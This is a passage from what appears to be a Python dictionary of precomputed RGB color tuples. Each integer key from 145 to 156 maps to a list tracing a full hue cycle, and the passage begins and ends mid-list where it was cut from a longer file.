169, 101), (204, 173, 101), (204, 177, 101), (204, 182, 101), (204, 186, 101), (204, 190, 101), (204, 194, 101), (204, 199, 101), (204, 203, 101), (200, 204, 101), (196, 204, 101), (192, 204, 101), (187, 204, 101), (183, 204, 101), (179, 204, 101), (175, 204, 101), (170, 204, 101), (166, 204, 101), (162, 204, 101), (158, 204, 101), (154, 204, 101), (149, 204, 101), (145, 204, 101), (141, 204, 101), (137, 204, 101), (132, 204, 101), (128, 204, 101), (124, 204, 101), (120, 204, 101), (116, 204, 101), (111, 204, 101), (107, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 109), (101, 204, 113), (101, 204, 117), (101, 204, 121), (101, 204, 125), (101, 204, 130), (101, 204, 134), (101, 204, 138), (101, 204, 142), (101, 204, 147), (101, 204, 151), (101, 204, 155), (101, 204, 159), (101, 204, 163), (101, 204, 168), (101, 204, 172), (101, 204, 176), (101, 204, 180), (101, 204, 185), (101, 204, 189), (101, 204, 193), (101, 204, 197), (101, 204, 201), (101, 201, 204), (101, 197, 204), (101, 193, 204), (101, 189, 204), (101, 185, 204), (101, 180, 204), (101, 176, 204), (101, 172, 204), (101, 168, 204), (101, 163, 204), (101, 159, 204), (101, 155, 204), (101, 151, 204), (101, 147, 204), (101, 142, 204), (101, 138, 204), (101, 134, 204), (101, 130, 204), (101, 125, 204), (101, 121, 204), (101, 117, 204), (101, 113, 204), (101, 109, 204), (101, 104, 204), (103, 101, 204), (107, 101, 204), (111, 101, 204), (116, 101, 204), (120, 101, 204), (124, 101, 204), (128, 101, 204), (132, 101, 204), (137, 101, 204), (141, 101, 204), (145, 101, 204), (149, 101, 204), (154, 101, 204), (158, 101, 204), (162, 101, 204), (166, 101, 204), (170, 101, 204), (175, 101, 204), (179, 101, 204), (183, 101, 204), (187, 101, 204), (192, 101, 204), (196, 101, 204), (200, 101, 204), (204, 101, 203), (204, 101, 199), (204, 101, 194), (204, 101, 190), (204, 101, 186), (204, 101, 182), (204, 101, 177), (204, 101, 173), (204, 101, 169), (204, 101, 165), (204, 101, 161), (204, 101, 156), (204, 101, 152), (204, 101, 148), (204, 101, 144), (204, 101, 139), (204, 101, 135), (204, 101, 131), (204, 101, 127), (204, 101, 123), (204, 101, 118), (204, 101, 114), (204, 101, 110), (204, 101, 106)], 146: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 114, 101), (204, 118, 101), (204, 122, 101), (204, 127, 101), (204, 131, 101), (204, 135, 101), (204, 139, 101), (204, 143, 101), (204, 148, 101), (204, 152, 101), (204, 156, 101), (204, 160, 101), (204, 164, 101), (204, 169, 101), (204, 173, 101), (204, 177, 101), (204, 181, 101), (204, 185, 101), (204, 190, 101), (204, 194, 101), (204, 198, 101), (204, 202, 101), (201, 204, 101), (197, 204, 101), (192, 204, 101), (188, 204, 101), (184, 204, 101), (180, 204, 101), (176, 204, 101), (171, 204, 101), (167, 204, 101), (163, 204, 101), (159, 204, 101), (155, 204, 101), (150, 204, 101), (146, 204, 101), (142, 204, 101), (138, 204, 101), (134, 204, 101), (129, 204, 101), (125, 204, 101), (121, 204, 101), (117, 204, 101), (113, 204, 101), (108, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 107), (101, 204, 111), (101, 204, 115), (101, 204, 120), (101, 204, 124), (101, 204, 128), (101, 204, 132), (101, 204, 136), (101, 204, 141), (101, 204, 145), (101, 204, 149), (101, 204, 153), (101, 204, 157), (101, 204, 162), (101, 204, 166), (101, 204, 170), (101, 204, 174), (101, 204, 178), (101, 204, 183), (101, 204, 187), (101, 204, 191), (101, 204, 195), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 195, 204), (101, 191, 204), (101, 187, 204), (101, 183, 204), (101, 178, 204), (101, 174, 204), (101, 170, 204), (101, 166, 204), (101, 162, 204), (101, 157, 204), (101, 153, 204), (101, 149, 204), (101, 145, 204), (101, 141, 204), (101, 136, 204), (101, 132, 204), (101, 128, 204), (101, 124, 204), (101, 120, 204), (101, 115, 204), (101, 111, 204), (101, 107, 204), (101, 103, 204), (104, 101, 204), (108, 101, 204), (113, 101, 204), (117, 101, 204), (121, 101, 204), (125, 101, 204), (129, 101, 204), (134, 101, 204), (138, 101, 204), (142, 101, 204), (146, 101, 204), (150, 101, 204), (155, 101, 204), (159, 101, 204), (163, 101, 204), (167, 101, 204), (171, 101, 204), (176, 101, 204), (180, 101, 204), (184, 101, 204), (188, 101, 204), (192, 101, 204), (197, 101, 204), (201, 101, 204), (204, 101, 202), (204, 101, 198), (204, 101, 194), (204, 101, 190), (204, 101, 185), (204, 101, 181), (204, 101, 177), (204, 101, 173), (204, 101, 169), (204, 101, 164), (204, 101, 160), (204, 101, 156), (204, 101, 152), (204, 101, 148), (204, 101, 143), (204, 101, 139), (204, 101, 135), (204, 101, 131), (204, 101, 127), (204, 101, 122), (204, 101, 118), (204, 101, 114), (204, 101, 110), (204, 101, 106)], 147: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 114, 101), (204, 118, 101), (204, 122, 101), (204, 126, 101), (204, 131, 101), (204, 135, 101), (204, 139, 101), (204, 143, 101), (204, 147, 101), (204, 151, 101), (204, 156, 101), (204, 160, 101), (204, 164, 101), (204, 168, 101), (204, 172, 101), (204, 176, 101), (204, 181, 101), (204, 185, 101), (204, 189, 101), (204, 193, 101), (204, 197, 101), (204, 201, 101), (201, 204, 101), (197, 204, 101), (193, 204, 101), (189, 204, 101), (185, 204, 101), (181, 204, 101), (176, 204, 101), (172, 204, 101), (168, 204, 101), (164, 204, 101), (160, 204, 101), (156, 204, 101), (151, 204, 101), (147, 204, 101), (143, 204, 101), (139, 204, 101), (135, 204, 101), (131, 204, 101), (126, 204, 101), (122, 204, 101), (118, 204, 101), (114, 204, 101), (110, 204, 101), (106, 204, 101), (102, 204, 101), (101, 204, 106), (101, 204, 110), (101, 204, 114), (101, 204, 118), (101, 204, 122), (101, 204, 126), (101, 204, 131), (101, 204, 135), (101, 204, 139), (101, 204, 143), (101, 204, 147), (101, 204, 151), (101, 204, 156), (101, 204, 160), (101, 204, 164), (101, 204, 168), (101, 204, 172), (101, 204, 176), (101, 204, 181), (101, 204, 185), (101, 204, 189), (101, 204, 193), (101, 204, 197), (101, 204, 201), (101, 201, 204), (101, 197, 204), (101, 193, 204), (101, 189, 204), (101, 185, 204), (101, 181, 204), (101, 176, 204), (101, 172, 204), (101, 168, 204), (101, 164, 204), (101, 160, 204), (101, 156, 204), (101, 151, 204), (101, 147, 204), (101, 143, 204), (101, 139, 204), (101, 135, 204), (101, 131, 204), (101, 126, 204), (101, 122, 204), (101, 118, 204), (101, 114, 204), (101, 110, 204), (101, 106, 204), (101, 102, 204), (106, 101, 204), (110, 101, 204), (114, 101, 204), (118, 101, 204), (122, 101, 204), (126, 101, 204), (131, 101, 204), (135, 101, 204), (139, 101, 204), (143, 101, 204), (147, 101, 204), (151, 101, 204), (156, 101, 204), (160, 101, 204), (164, 101, 204), (168, 101, 204), (172, 101, 204), (176, 101, 204), (181, 101, 204), (185, 101, 204), (189, 101, 204), (193, 101, 204), (197, 101, 204), (201, 101, 204), (204, 101, 201), (204, 101, 197), (204, 101, 193), (204, 101, 189), (204, 101, 185), (204, 101, 181), (204, 101, 176), (204, 101, 172), (204, 101, 168), (204, 101, 164), (204, 101, 160), (204, 101, 156), (204, 101, 151), (204, 101, 147), (204, 101, 143), (204, 101, 139), (204, 101, 135), (204, 101, 131), (204, 101, 126), (204, 101, 122), (204, 101, 118), (204, 101, 114), (204, 101, 110), (204, 101, 106)], 148: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 114, 101), (204, 118, 101), (204, 122, 101), (204, 126, 101), (204, 130, 101), (204, 135, 101), (204, 139, 101), (204, 143, 101), (204, 147, 101), (204, 151, 101), (204, 155, 101), (204, 159, 101), (204, 164, 101), (204, 168, 101), (204, 172, 101), (204, 176, 101), (204, 180, 101), (204, 184, 101), (204, 188, 101), (204, 192, 101), (204, 197, 101), (204, 201, 101), (202, 204, 101), (198, 204, 101), (194, 204, 101), (190, 204, 101), (186, 204, 101), (181, 204, 101), (177, 204, 101), (173, 204, 101), (169, 204, 101), (165, 204, 101), (161, 204, 101), (157, 204, 101), (153, 204, 101), (148, 204, 101), (144, 204, 101), (140, 204, 101), (136, 204, 101), (132, 204, 101), (128, 204, 101), (124, 204, 101), (119, 204, 101), (115, 204, 101), (111, 204, 101), (107, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 108), (101, 204, 113), (101, 204, 117), (101, 204, 121), (101, 204, 125), (101, 204, 129), (101, 204, 133), (101, 204, 137), (101, 204, 141), (101, 204, 146), (101, 204, 150), (101, 204, 154), (101, 204, 158), (101, 204, 162), (101, 204, 166), (101, 204, 170), (101, 204, 175), (101, 204, 179), (101, 204, 183), (101, 204, 187), (101, 204, 191), (101, 204, 195), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 195, 204), (101, 191, 204), (101, 187, 204), (101, 183, 204), (101, 179, 204), (101, 175, 204), (101, 170, 204), (101, 166, 204), (101, 162, 204), (101, 158, 204), (101, 154, 204), (101, 150, 204), (101, 146, 204), (101, 141, 204), (101, 137, 204), (101, 133, 204), (101, 129, 204), (101, 125, 204), (101, 121, 204), (101, 117, 204), (101, 113, 204), (101, 108, 204), (101, 104, 204), (103, 101, 204), (107, 101, 204), (111, 101, 204), (115, 101, 204), (119, 101, 204), (124, 101, 204), (128, 101, 204), (132, 101, 204), (136, 101, 204), (140, 101, 204), (144, 101, 204), (148, 101, 204), (152, 101, 204), (157, 101, 204), (161, 101, 204), (165, 101, 204), (169, 101, 204), (173, 101, 204), (177, 101, 204), (181, 101, 204), (186, 101, 204), (190, 101, 204), (194, 101, 204), (198, 101, 204), (202, 101, 204), (204, 101, 201), (204, 101, 197), (204, 101, 192), (204, 101, 188), (204, 101, 184), (204, 101, 180), (204, 101, 176), (204, 101, 172), (204, 101, 168), (204, 101, 164), (204, 101, 159), (204, 101, 155), (204, 101, 151), (204, 101, 147), (204, 101, 143), (204, 101, 139), (204, 101, 135), (204, 101, 130), (204, 101, 126), (204, 101, 122), (204, 101, 118), (204, 101, 114), (204, 101, 110), (204, 101, 106)], 149: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 114, 101), (204, 118, 101), (204, 122, 101), (204, 126, 101), (204, 130, 101), (204, 134, 101), (204, 138, 101), (204, 143, 101), (204, 147, 101), (204, 151, 101), (204, 155, 101), (204, 159, 101), (204, 163, 101), (204, 167, 101), (204, 171, 101), (204, 175, 101), (204, 180, 101), (204, 184, 101), (204, 188, 101), (204, 192, 101), (204, 196, 101), (204, 200, 101), (203, 204, 101), (199, 204, 101), (195, 204, 101), (190, 204, 101), (186, 204, 101), (182, 204, 101), (178, 204, 101), (174, 204, 101), (170, 204, 101), (166, 204, 101), (162, 204, 101), (158, 204, 101), (154, 204, 101), (149, 204, 101), (145, 204, 101), (141, 204, 101), (137, 204, 101), (133, 204, 101), (129, 204, 101), (125, 204, 101), (121, 204, 101), (117, 204, 101), (112, 204, 101), (108, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 107), (101, 204, 111), (101, 204, 115), (101, 204, 119), (101, 204, 123), (101, 204, 128), (101, 204, 132), (101, 204, 136), (101, 204, 140), (101, 204, 144), (101, 204, 148), (101, 204, 152), (101, 204, 156), (101, 204, 160), (101, 204, 164), (101, 204, 169), (101, 204, 173), (101, 204, 177), (101, 204, 181), (101, 204, 185), (101, 204, 189), (101, 204, 193), (101, 204, 197), (101, 204, 201), (101, 201, 204), (101, 197, 204), (101, 193, 204), (101, 189, 204), (101, 185, 204), (101, 181, 204), (101, 177, 204), (101, 173, 204), (101, 169, 204), (101, 164, 204), (101, 160, 204), (101, 156, 204), (101, 152, 204), (101, 148, 204), (101, 144, 204), (101, 140, 204), (101, 136, 204), (101, 132, 204), (101, 128, 204), (101, 123, 204), (101, 119, 204), (101, 115, 204), (101, 111, 204), (101, 107, 204), (101, 103, 204), (104, 101, 204), (108, 101, 204), (112, 101, 204), (117, 101, 204), (121, 101, 204), (125, 101, 204), (129, 101, 204), (133, 101, 204), (137, 101, 204), (141, 101, 204), (145, 101, 204), (149, 101, 204), (154, 101, 204), (158, 101, 204), (162, 101, 204), (166, 101, 204), (170, 101, 204), (174, 101, 204), (178, 101, 204), (182, 101, 204), (186, 101, 204), (190, 101, 204), (195, 101, 204), (199, 101, 204), (203, 101, 204), (204, 101, 200), (204, 101, 196), (204, 101, 192), (204, 101, 188), (204, 101, 184), (204, 101, 180), (204, 101, 175), (204, 101, 171), (204, 101, 167), (204, 101, 163), (204, 101, 159), (204, 101, 155), (204, 101, 151), (204, 101, 147), (204, 101, 143), (204, 101, 138), (204, 101, 134), (204, 101, 130), (204, 101, 126), (204, 101, 122), (204, 101, 118), (204, 101, 114), (204, 101, 110), (204, 101, 106)], 150: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 114, 101), (204, 118, 101), (204, 122, 101), (204, 126, 101), (204, 130, 101), (204, 134, 101), (204, 138, 101), (204, 142, 101), (204, 146, 101), (204, 150, 101), (204, 155, 101), (204, 159, 101), (204, 163, 101), (204, 167, 101), (204, 171, 101), (204, 175, 101), (204, 179, 101), (204, 183, 101), (204, 187, 101), (204, 191, 101), (204, 195, 101), (204, 199, 101), (204, 204, 101), (199, 204, 101), (195, 204, 101), (191, 204, 101), (187, 204, 101), (183, 204, 101), (179, 204, 101), (175, 204, 101), (171, 204, 101), (167, 204, 101), (163, 204, 101), (159, 204, 101), (155, 204, 101), (150, 204, 101), (146, 204, 101), (142, 204, 101), (138, 204, 101), (134, 204, 101), (130, 204, 101), (126, 204, 101), (122, 204, 101), (118, 204, 101), (114, 204, 101), (110, 204, 101), (106, 204, 101), (101, 204, 102), (101, 204, 106), (101, 204, 110), (101, 204, 114), (101, 204, 118), (101, 204, 122), (101, 204, 126), (101, 204, 130), (101, 204, 134), (101, 204, 138), (101, 204, 142), (101, 204, 146), (101, 204, 150), (101, 204, 155), (101, 204, 159), (101, 204, 163), (101, 204, 167), (101, 204, 171), (101, 204, 175), (101, 204, 179), (101, 204, 183), (101, 204, 187), (101, 204, 191), (101, 204, 195), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 195, 204), (101, 191, 204), (101, 187, 204), (101, 183, 204), (101, 179, 204), (101, 175, 204), (101, 171, 204), (101, 167, 204), (101, 163, 204), (101, 159, 204), (101, 155, 204), (101, 150, 204), (101, 146, 204), (101, 142, 204), (101, 138, 204), (101, 134, 204), (101, 130, 204), (101, 126, 204), (101, 122, 204), (101, 118, 204), (101, 114, 204), (101, 110, 204), (101, 106, 204), (101, 101, 204), (106, 101, 204), (110, 101, 204), (114, 101, 204), (118, 101, 204), (122, 101, 204), (126, 101, 204), (130, 101, 204), (134, 101, 204), (138, 101, 204), (142, 101, 204), (146, 101, 204), (150, 101, 204), (155, 101, 204), (159, 101, 204), (163, 101, 204), (167, 101, 204), (171, 101, 204), (175, 101, 204), (179, 101, 204), (183, 101, 204), (187, 101, 204), (191, 101, 204), (195, 101, 204), (199, 101, 204), (204, 101, 203), (204, 101, 199), (204, 101, 195), (204, 101, 191), (204, 101, 187), (204, 101, 183), (204, 101, 179), (204, 101, 175), (204, 101, 171), (204, 101, 167), (204, 101, 163), (204, 101, 159), (204, 101, 155), (204, 101, 150), (204, 101, 146), (204, 101, 142), (204, 101, 138), (204, 101, 134), (204, 101, 130), (204, 101, 126), (204, 101, 122), (204, 101, 118), (204, 101, 114), (204, 101, 110), (204, 101, 106)], 151: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 114, 101), (204, 118, 101), (204, 122, 101), (204, 126, 101), (204, 130, 101), (204, 134, 101), (204, 138, 101), (204, 142, 101), (204, 146, 101), (204, 150, 101), (204, 154, 101), (204, 158, 101), (204, 162, 101), (204, 166, 101), (204, 170, 101), (204, 174, 101), (204, 179, 101), (204, 183, 101), (204, 187, 101), (204, 191, 101), (204, 195, 101), (204, 199, 101), (204, 203, 101), (200, 204, 101), (196, 204, 101), (192, 204, 101), (188, 204, 101), (184, 204, 101), (180, 204, 101), (176, 204, 101), (172, 204, 101), (168, 204, 101), (164, 204, 101), (160, 204, 101), (156, 204, 101), (151, 204, 101), (147, 204, 101), (143, 204, 101), (139, 204, 101), (135, 204, 101), (131, 204, 101), (127, 204, 101), (123, 204, 101), (119, 204, 101), (115, 204, 101), (111, 204, 101), (107, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 108), (101, 204, 112), (101, 204, 116), (101, 204, 120), (101, 204, 124), (101, 204, 129), (101, 204, 133), (101, 204, 137), (101, 204, 141), (101, 204, 145), (101, 204, 149), (101, 204, 153), (101, 204, 157), (101, 204, 161), (101, 204, 165), (101, 204, 169), (101, 204, 173), (101, 204, 177), (101, 204, 181), (101, 204, 185), (101, 204, 189), (101, 204, 193), (101, 204, 197), (101, 204, 201), (101, 201, 204), (101, 197, 204), (101, 193, 204), (101, 189, 204), (101, 185, 204), (101, 181, 204), (101, 177, 204), (101, 173, 204), (101, 169, 204), (101, 165, 204), (101, 161, 204), (101, 157, 204), (101, 153, 204), (101, 149, 204), (101, 145, 204), (101, 141, 204), (101, 137, 204), (101, 133, 204), (101, 129, 204), (101, 124, 204), (101, 120, 204), (101, 116, 204), (101, 112, 204), (101, 108, 204), (101, 104, 204), (103, 101, 204), (107, 101, 204), (111, 101, 204), (115, 101, 204), (119, 101, 204), (123, 101, 204), (127, 101, 204), (131, 101, 204), (135, 101, 204), (139, 101, 204), (143, 101, 204), (147, 101, 204), (151, 101, 204), (156, 101, 204), (160, 101, 204), (164, 101, 204), (168, 101, 204), (172, 101, 204), (176, 101, 204), (180, 101, 204), (184, 101, 204), (188, 101, 204), (192, 101, 204), (196, 101, 204), (200, 101, 204), (204, 101, 203), (204, 101, 199), (204, 101, 195), (204, 101, 191), (204, 101, 187), (204, 101, 183), (204, 101, 179), (204, 101, 174), (204, 101, 170), (204, 101, 166), (204, 101, 162), (204, 101, 158), (204, 101, 154), (204, 101, 150), (204, 101, 146), (204, 101, 142), (204, 101, 138), (204, 101, 134), (204, 101, 130), (204, 101, 126), (204, 101, 122), (204, 101, 118), (204, 101, 114), (204, 101, 110), (204, 101, 106)], 152: [(204, 101, 101), (204, 106, 101), (204, 110, 101), (204, 114, 101), (204, 118, 101), (204, 122, 101), (204, 126, 101), (204, 130, 101), (204, 134, 101), (204, 138, 101), (204, 142, 101), (204, 146, 101), (204, 150, 101), (204, 154, 101), (204, 158, 101), (204, 162, 101), (204, 166, 101), (204, 170, 101), (204, 174, 101), (204, 178, 101), (204, 182, 101), (204, 186, 101), (204, 190, 101), (204, 194, 101), (204, 198, 101), (204, 202, 101), (201, 204, 101), (197, 204, 101), (193, 204, 101), (189, 204, 101), (185, 204, 101), (181, 204, 101), (177, 204, 101), (173, 204, 101), (169, 204, 101), (165, 204, 101), (161, 204, 101), (157, 204, 101), (153, 204, 101), (148, 204, 101), (144, 204, 101), (140, 204, 101), (136, 204, 101), (132, 204, 101), (128, 204, 101), (124, 204, 101), (120, 204, 101), (116, 204, 101), (112, 204, 101), (108, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 107), (101, 204, 111), (101, 204, 115), (101, 204, 119), (101, 204, 123), (101, 204, 127), (101, 204, 131), (101, 204, 135), (101, 204, 139), (101, 204, 143), (101, 204, 147), (101, 204, 151), (101, 204, 155), (101, 204, 159), (101, 204, 163), (101, 204, 167), (101, 204, 171), (101, 204, 175), (101, 204, 179), (101, 204, 183), (101, 204, 187), (101, 204, 191), (101, 204, 195), (101, 204, 199), (101, 204, 204), (101, 199, 204), (101, 195, 204), (101, 191, 204), (101, 187, 204), (101, 183, 204), (101, 179, 204), (101, 175, 204), (101, 171, 204), (101, 167, 204), (101, 163, 204), (101, 159, 204), (101, 155, 204), (101, 151, 204), (101, 147, 204), (101, 143, 204), (101, 139, 204), (101, 135, 204), (101, 131, 204), (101, 127, 204), (101, 123, 204), (101, 119, 204), (101, 115, 204), (101, 111, 204), (101, 107, 204), (101, 103, 204), (104, 101, 204), (108, 101, 204), (112, 101, 204), (116, 101, 204), (120, 101, 204), (124, 101, 204), (128, 101, 204), (132, 101, 204), (136, 101, 204), (140, 101, 204), (144, 101, 204), (148, 101, 204), (152, 101, 204), (157, 101, 204), (161, 101, 204), (165, 101, 204), (169, 101, 204), (173, 101, 204), (177, 101, 204), (181, 101, 204), (185, 101, 204), (189, 101, 204), (193, 101, 204), (197, 101, 204), (201, 101, 204), (204, 101, 202), (204, 101, 198), (204, 101, 194), (204, 101, 190), (204, 101, 186), (204, 101, 182), (204, 101, 178), (204, 101, 174), (204, 101, 170), (204, 101, 166), (204, 101, 162), (204, 101, 158), (204, 101, 154), (204, 101, 150), (204, 101, 146), (204, 101, 142), (204, 101, 138), (204, 101, 134), (204, 101, 130), (204, 101, 126), (204, 101, 122), (204, 101, 118), (204, 101, 114), (204, 101, 110), (204, 101, 106)], 153: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 117, 101), (204, 122, 101), (204, 126, 101), (204, 130, 101), (204, 134, 101), (204, 138, 101), (204, 141, 101), (204, 145, 101), (204, 149, 101), (204, 153, 101), (204, 158, 101), (204, 162, 101), (204, 166, 101), (204, 170, 101), (204, 174, 101), (204, 178, 101), (204, 181, 101), (204, 185, 101), (204, 189, 101), (204, 193, 101), (204, 197, 101), (204, 202, 101), (202, 204, 101), (198, 204, 101), (194, 204, 101), (190, 204, 101), (186, 204, 101), (182, 204, 101), (178, 204, 101), (173, 204, 101), (169, 204, 101), (165, 204, 101), (162, 204, 101), (158, 204, 101), (154, 204, 101), (150, 204, 101), (146, 204, 101), (142, 204, 101), (138, 204, 101), (134, 204, 101), (129, 204, 101), (125, 204, 101), (121, 204, 101), (117, 204, 101), (114, 204, 101), (110, 204, 101), (106, 204, 101), (101, 204, 102), (101, 204, 106), (101, 204, 110), (101, 204, 114), (101, 204, 118), (101, 204, 122), (101, 204, 126), (101, 204, 130), (101, 204, 133), (101, 204, 137), (101, 204, 141), (101, 204, 145), (101, 204, 150), (101, 204, 154), (101, 204, 158), (101, 204, 162), (101, 204, 166), (101, 204, 170), (101, 204, 174), (101, 204, 178), (101, 204, 182), (101, 204, 186), (101, 204, 190), (101, 204, 194), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 194, 204), (101, 190, 204), (101, 186, 204), (101, 182, 204), (101, 177, 204), (101, 173, 204), (101, 169, 204), (101, 165, 204), (101, 162, 204), (101, 157, 204), (101, 153, 204), (101, 149, 204), (101, 145, 204), (101, 141, 204), (101, 137, 204), (101, 133, 204), (101, 129, 204), (101, 125, 204), (101, 121, 204), (101, 117, 204), (101, 114, 204), (101, 110, 204), (101, 106, 204), (101, 101, 204), (105, 101, 204), (109, 101, 204), (113, 101, 204), (117, 101, 204), (122, 101, 204), (126, 101, 204), (130, 101, 204), (134, 101, 204), (138, 101, 204), (141, 101, 204), (145, 101, 204), (149, 101, 204), (153, 101, 204), (157, 101, 204), (161, 101, 204), (165, 101, 204), (169, 101, 204), (173, 101, 204), (178, 101, 204), (181, 101, 204), (185, 101, 204), (189, 101, 204), (193, 101, 204), (198, 101, 204), (202, 101, 204), (204, 101, 201), (204, 101, 197), (204, 101, 193), (204, 101, 189), (204, 101, 185), (204, 101, 181), (204, 101, 177), (204, 101, 173), (204, 101, 169), (204, 101, 165), (204, 101, 162), (204, 101, 158), (204, 101, 153), (204, 101, 149), (204, 101, 145), (204, 101, 141), (204, 101, 137), (204, 101, 133), (204, 101, 129), (204, 101, 125), (204, 101, 121), (204, 101, 117), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 154: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 117, 101), (204, 121, 101), (204, 125, 101), (204, 129, 101), (204, 133, 101), (204, 137, 101), (204, 141, 101), (204, 145, 101), (204, 149, 101), (204, 153, 101), (204, 157, 101), (204, 161, 101), (204, 165, 101), (204, 169, 101), (204, 173, 101), (204, 177, 101), (204, 181, 101), (204, 185, 101), (204, 189, 101), (204, 193, 101), (204, 197, 101), (204, 201, 101), (202, 204, 101), (198, 204, 101), (194, 204, 101), (190, 204, 101), (186, 204, 101), (182, 204, 101), (178, 204, 101), (174, 204, 101), (170, 204, 101), (166, 204, 101), (162, 204, 101), (158, 204, 101), (154, 204, 101), (151, 204, 101), (147, 204, 101), (143, 204, 101), (139, 204, 101), (135, 204, 101), (131, 204, 101), (127, 204, 101), (123, 204, 101), (119, 204, 101), (115, 204, 101), (111, 204, 101), (107, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 108), (101, 204, 112), (101, 204, 116), (101, 204, 120), (101, 204, 124), (101, 204, 128), (101, 204, 132), (101, 204, 136), (101, 204, 140), (101, 204, 144), (101, 204, 148), (101, 204, 152), (101, 204, 156), (101, 204, 160), (101, 204, 164), (101, 204, 168), (101, 204, 172), (101, 204, 176), (101, 204, 180), (101, 204, 184), (101, 204, 188), (101, 204, 192), (101, 204, 196), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 196, 204), (101, 192, 204), (101, 188, 204), (101, 184, 204), (101, 180, 204), (101, 176, 204), (101, 172, 204), (101, 168, 204), (101, 164, 204), (101, 160, 204), (101, 156, 204), (101, 152, 204), (101, 148, 204), (101, 144, 204), (101, 140, 204), (101, 136, 204), (101, 132, 204), (101, 128, 204), (101, 124, 204), (101, 120, 204), (101, 116, 204), (101, 112, 204), (101, 108, 204), (101, 104, 204), (103, 101, 204), (107, 101, 204), (111, 101, 204), (115, 101, 204), (119, 101, 204), (123, 101, 204), (127, 101, 204), (131, 101, 204), (135, 101, 204), (139, 101, 204), (143, 101, 204), (147, 101, 204), (151, 101, 204), (154, 101, 204), (158, 101, 204), (162, 101, 204), (166, 101, 204), (170, 101, 204), (174, 101, 204), (178, 101, 204), (182, 101, 204), (186, 101, 204), (190, 101, 204), (194, 101, 204), (198, 101, 204), (202, 101, 204), (204, 101, 201), (204, 101, 197), (204, 101, 193), (204, 101, 189), (204, 101, 185), (204, 101, 181), (204, 101, 177), (204, 101, 173), (204, 101, 169), (204, 101, 165), (204, 101, 161), (204, 101, 157), (204, 101, 153), (204, 101, 149), (204, 101, 145), (204, 101, 141), (204, 101, 137), (204, 101, 133), (204, 101, 129), (204, 101, 125), (204, 101, 121), (204, 101, 117), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 155: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 117, 101), (204, 121, 101), (204, 125, 101), (204, 129, 101), (204, 133, 101), (204, 137, 101), (204, 141, 101), (204, 145, 101), (204, 149, 101), (204, 153, 101), (204, 157, 101), (204, 161, 101), (204, 165, 101), (204, 169, 101), (204, 173, 101), (204, 177, 101), (204, 180, 101), (204, 184, 101), (204, 188, 101), (204, 192, 101), (204, 196, 101), (204, 200, 101), (203, 204, 101), (199, 204, 101), (195, 204, 101), (191, 204, 101), (187, 204, 101), (183, 204, 101), (179, 204, 101), (175, 204, 101), (171, 204, 101), (167, 204, 101), (163, 204, 101), (159, 204, 101), (155, 204, 101), (152, 204, 101), (148, 204, 101), (144, 204, 101), (140, 204, 101), (136, 204, 101), (132, 204, 101), (128, 204, 101), (124, 204, 101), (120, 204, 101), (116, 204, 101), (112, 204, 101), (108, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 107), (101, 204, 111), (101, 204, 115), (101, 204, 119), (101, 204, 123), (101, 204, 127), (101, 204, 130), (101, 204, 134), (101, 204, 138), (101, 204, 142), (101, 204, 146), (101, 204, 150), (101, 204, 154), (101, 204, 158), (101, 204, 162), (101, 204, 166), (101, 204, 170), (101, 204, 174), (101, 204, 178), (101, 204, 182), (101, 204, 186), (101, 204, 190), (101, 204, 194), (101, 204, 198), (101, 204, 202), (101, 202, 204), (101, 198, 204), (101, 194, 204), (101, 190, 204), (101, 186, 204), (101, 182, 204), (101, 178, 204), (101, 174, 204), (101, 170, 204), (101, 166, 204), (101, 162, 204), (101, 158, 204), (101, 154, 204), (101, 150, 204), (101, 146, 204), (101, 142, 204), (101, 138, 204), (101, 134, 204), (101, 130, 204), (101, 127, 204), (101, 123, 204), (101, 119, 204), (101, 115, 204), (101, 111, 204), (101, 107, 204), (101, 103, 204), (104, 101, 204), (108, 101, 204), (112, 101, 204), (116, 101, 204), (120, 101, 204), (124, 101, 204), (128, 101, 204), (132, 101, 204), (136, 101, 204), (140, 101, 204), (144, 101, 204), (148, 101, 204), (152, 101, 204), (155, 101, 204), (159, 101, 204), (163, 101, 204), (167, 101, 204), (171, 101, 204), (175, 101, 204), (179, 101, 204), (183, 101, 204), (187, 101, 204), (191, 101, 204), (195, 101, 204), (199, 101, 204), (203, 101, 204), (204, 101, 200), (204, 101, 196), (204, 101, 192), (204, 101, 188), (204, 101, 184), (204, 101, 180), (204, 101, 177), (204, 101, 173), (204, 101, 169), (204, 101, 165), (204, 101, 161), (204, 101, 157), (204, 101, 153), (204, 101, 149), (204, 101, 145), (204, 101, 141), (204, 101, 137), (204, 101, 133), (204, 101, 129), (204, 101, 125), (204, 101, 121), (204, 101, 117), (204, 101, 113), (204, 101, 109), (204, 101, 105)], 156: [(204, 101, 101), (204, 105, 101), (204, 109, 101), (204, 113, 101), (204, 117, 101), (204, 121, 101), (204, 125, 101), (204, 129, 101), (204, 133, 101), (204, 137, 101), (204, 141, 101), (204, 145, 101), (204, 149, 101), (204, 152, 101), (204, 156, 101), (204, 160, 101), (204, 164, 101), (204, 168, 101), (204, 172, 101), (204, 176, 101), (204, 180, 101), (204, 184, 101), (204, 188, 101), (204, 192, 101), (204, 196, 101), (204, 200, 101), (204, 204, 